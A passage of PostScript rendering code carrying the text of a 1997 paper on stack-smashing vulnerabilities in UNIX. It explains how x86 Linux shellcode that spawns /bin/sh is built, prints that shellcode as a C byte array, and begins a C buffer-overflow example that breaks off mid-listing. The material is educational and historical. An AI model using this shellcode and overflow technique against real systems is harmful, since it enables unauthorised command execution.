0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p120000 SETFONT GS n 5460 7364 M (/bin/sh) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 6160 7364 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6202 7364 M (execution ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6890 7364 M (sequence ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7088 M (must ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1592 7088 M (appear ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2097 7088 M (somewhere ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2917 7088 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3107 7088 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3724 7088 M (so ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3933 7088 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4243 7088 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4378 7088 M (manipulated ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5261 7088 M (`return ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5776 7088 M (a) ST -3 0 MR (d) ST -3 0 MR (d) ST -4 0 MR (r) ST -4 0 MR (e) ST -4 0 MR (s) ST -4 0 MR (s) ST -4 0 MR (' ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6367 7088 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6659 7088 M (point ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7061 7088 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7251 7088 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6812 M (location. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1899 6812 M (This ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2269 6812 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2454 6812 M (accomplished ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3443 6812 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3683 6812 M (using ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4117 6812 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4348 6812 M (assembly ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5042 6812 M (language ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5716 6812 M (hexadecimal ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6631 6812 M (string ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7084 6812 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 6812 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6536 M (binary ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1715 6536 M (equivalent ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2493 6536 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2708 6536 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2997 6536 M (standard ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3647 6536 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3844 6536 M (function ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4484 6536 M (call: ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p120000 SETFONT GS n 4856 6536 M (execve\(name[0], ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6500 6536 M ("/bin/sh", ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6260 M (NULL\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 6260 M (. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1920 6260 M (Assembly ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2721 6260 M (language ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3456 6260 M (equivalents ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4348 6260 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4612 6260 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4987 6260 M (call ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5362 6260 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5701 6260 M (hardware ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6456 6260 M (implementation ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5984 M (dependent) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 1883 6025 M (10) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 2021 5984 M (. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2247 5984 M (Using ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2821 5984 M (debugging ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3657 5984 M (utilities, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4332 5984 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4559 5984 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4805 5984 M (possible ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5485 5984 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5749 5984 M (dissect ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6337 5984 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6546 5984 M (call ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6921 5984 M (such ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7361 5984 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p120000 SETFONT GS n 1200 5708 M (execve\(name[0], ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2845 5708 M ("/bin/sh", ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3986 5708 M (NULL\) ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 4627 5708 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4876 5708 M (breaking ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5541 5708 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5716 5708 M (down ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6168 5708 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6380 5708 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6537 5708 M (simple ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7064 5708 M (ASCII ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5432 M (assembly ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1880 5432 M (sequence, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2586 5432 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2880 5432 M (storing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3396 5432 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3542 5432 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3725 5432 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3853 5432 M (character ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4518 5432 M (array ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4915 5432 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5108 5432 M (other ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5504 5432 M (contiguous ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6287 5432 M (data ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6618 5432 M (structure. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 5432 M (On ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5156 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1418 5156 M (Intel ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1774 5156 M (x86 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2074 5156 M (machine ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2689 5156 M (running ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3257 5156 M (Linux, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3747 5156 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4001 5156 M (following ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4698 5156 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4860 5156 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4985 5156 M (list ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5239 5156 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5429 5156 M (steps ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5813 5156 M (used ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6169 5156 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6349 5156 M (formulating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7186 5156 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4880 M (code[1]:) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p110000 SETFONT GS n 1200 4374 M (1. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1450 4374 M (The null terminated string ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 3073 4374 M (/bin/sh) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p110000 SETFONT GS n 3654 4374 M ( exists somewhere in memory.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4197 M (2. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1450 4197 M (The address of the string ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 2993 4197 M (/bin/sh) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p110000 SETFONT GS n 3574 4197 M ( exists somewhere in memory followed by a null long word.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4020 M (3. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 1450 4020 M (0xb) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p110000 SETFONT GS n 1699 4020 M ( is copied into the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p110000 SETFONT GS n 2818 4020 M (EAX) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p110000 SETFONT GS n 3094 4020 M ( register.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3843 M (4. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1450 3843 M (The address of the string ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p110000 SETFONT GS n 2993 3843 M (/bin/sh) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p110000 SETFONT GS n 3637 3843 M ( is copied into the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p110000 SETFONT GS n 4756 3843 M (EBX) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p110000 SETFONT GS n 5032 3843 M ( register.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3666 M (5. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1450 3666 M (The address of the string ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 2993 3666 M (/bin/sh) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p110000 SETFONT GS n 3574 3666 M ( is copied into the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p110000 SETFONT GS n 4693 3666 M (ECX) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p110000 SETFONT GS n 4969 3666 M ( register.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3489 M (6. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1450 3489 M (The address of the null long word is copied into the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p110000 SETFONT GS n 4623 3489 M (EDX) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p110000 SETFONT GS n 4899 3489 M ( register.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3312 M (7. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1450 3312 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 1725 3312 M (int $0x80) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p110000 SETFONT GS n 2472 3312 M ( instruction is executed, a standard Intel CPU interrupt ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3122 M (8. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 1450 3122 M (0x1 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1782 3122 M (is copied ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p110000 SETFONT GS n 2420 3122 M (into the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 2918 3122 M (EAX) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p110000 SETFONT GS n 3167 3122 M ( register.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2942 M (9. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 1450 2942 M (0x0) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p110000 SETFONT GS n 1699 2942 M ( is copied into the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 2818 2942 M (EBX) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p110000 SETFONT GS n 3067 2942 M ( register.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2765 M (10. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1450 2765 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 1725 2765 M (int $0x80) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p110000 SETFONT GS n 2472 2765 M ( instruction is executed, a standard Intel CPU interrupt.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1200 2332 M (This listing can be reduced to x86 actual shell code in a standard ANSI C charac\ ter array:) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 2043 M 7523 2043 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 2038 M 1181 1865 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 2038 M 7519 1865 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 1864 M 1181 1760 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 1864 M 7519 1760 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p80000 SETFONT GS n 1200 1776 M (char shellcode[] =) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2700 1776 M ("\ \\xeb\ \\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b") ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 1759 M 1181 1655 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 1759 M 7519 1655 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2700 1671 M ("\ \\x89\ \\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd") ST GR %%PageTrailer AXPageSave restore showpage %%Page: 18 18 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 10000 M 1181 9896 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 10000 M 7519 9896 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p80000 SETFONT GS n 2700 9912 M ("\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh";) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 9895 M 1181 9722 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 9895 M 7519 9722 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 9716 M 7523 9716 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p90000 SETFONT GS n 2641 9597 M ( Example 9.a - ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p90000 SETFONT GS n 3434 9597 M (/bin/sh assembly execution sequence) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1200 9254 M (The shell code and buffer overflow examples are combined in the following exampl\ e:) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 9208 M 7523 9208 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 9203 M 1181 9030 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 9203 M 7519 9030 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 9029 M 1181 8925 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 9029 M 7519 8925 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p80000 SETFONT GS n 1200 8941 M (char shellcode[] =) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8924 M 1181 8820 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8924 M 7519 8820 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8836 M ( "\ \\xeb\ \\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b") ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8819 M 1181 8715 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8819 M 7519 8715 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8731 M ( "\ \\x89\ \\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd") ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8714 M 1181 8610 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8714 M 7519 8610 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8626 M ( "\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh";) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8609 M 1181 8450 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8609 M 7519 8450 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8449 M 1181 8345 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8449 M 7519 8345 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8361 M (char large_string[128];) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8344 M 1181 8185 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8344 M 7519 8185 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8184 M 1181 8080 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8184 M 7519 8080 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8096 M (void main\(\) {) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8079 M 1181 7975 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8079 M 7519 7975 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7991 M ( char buffer[96];) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7974 M 1181 7870 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7974 M 7519 7870 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7886 M ( int i;) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7869 M 1181 7765 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7869 M 7519 7765 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7781 M ( long *long_ptr = \(long *\) large_string; /*long_ptr takes the address of larg\ e_string /*) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7764 M 1181 7605 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7764 M 7519 7605 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7604 M 1181 7500 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7604 M 7519 7500 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7516 M ( /* large_string's first 32 bytes are filled with the address of buffer */) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7499 M 1181 7395 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7499 M 7519 7395 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7411 M ( for \(i = 0; i < 32; i++\)) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7394 M 1181 7290 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7394 M 7519 7290 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7306 M ( *\(long_ptr + i\) = \(int\) buffer;) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7289 M 1181 7130 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7289 M 7519 7130 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7129 M 1181 7025 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7129 M 7519 7025 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7041 M ( /* copy the contents of shellcode into large_string */) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7024 M 1181 6920 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7024 M 7519 6920 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6936 M ( for \(i = 0; i < strlen\(shellcode\); i++\)) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6919 M 1181 6815 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6919 M 7519 6815 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6831 M ( 